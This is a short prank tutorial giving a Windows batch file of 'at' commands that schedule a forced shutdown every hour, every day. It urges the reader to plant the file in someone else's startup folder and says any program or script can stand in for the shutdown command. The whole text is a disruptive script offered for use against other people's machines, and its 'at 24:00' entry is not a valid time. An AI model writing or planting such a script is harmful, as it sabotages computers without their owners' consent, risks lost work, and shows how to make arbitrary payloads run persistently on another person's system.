ShutDown your computer every 1 hours.

Lets begin
- First open notepad and copy this script

at 0:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 1:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 2:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 3:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 4:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 5:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 6:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 7:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 8:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 9:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 10:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 11:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 12:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 13:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 14:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 15:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 16:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 17:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 18:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 19:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 20:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 21:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 22:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 23:00 every:m,t,w,th,f,sa,s shutdown -s -t 5
at 24:00 every:m,t,w,th,f,sa,s shutdown -s -t 5

- Then save this as a batch file, anyname.bat
- the file that we made you can just open it, or put it into someones startup folder.
Note:
You can instead of using every: type a date, and you can use and program .exe .bat or script or anything in place of the shutdown code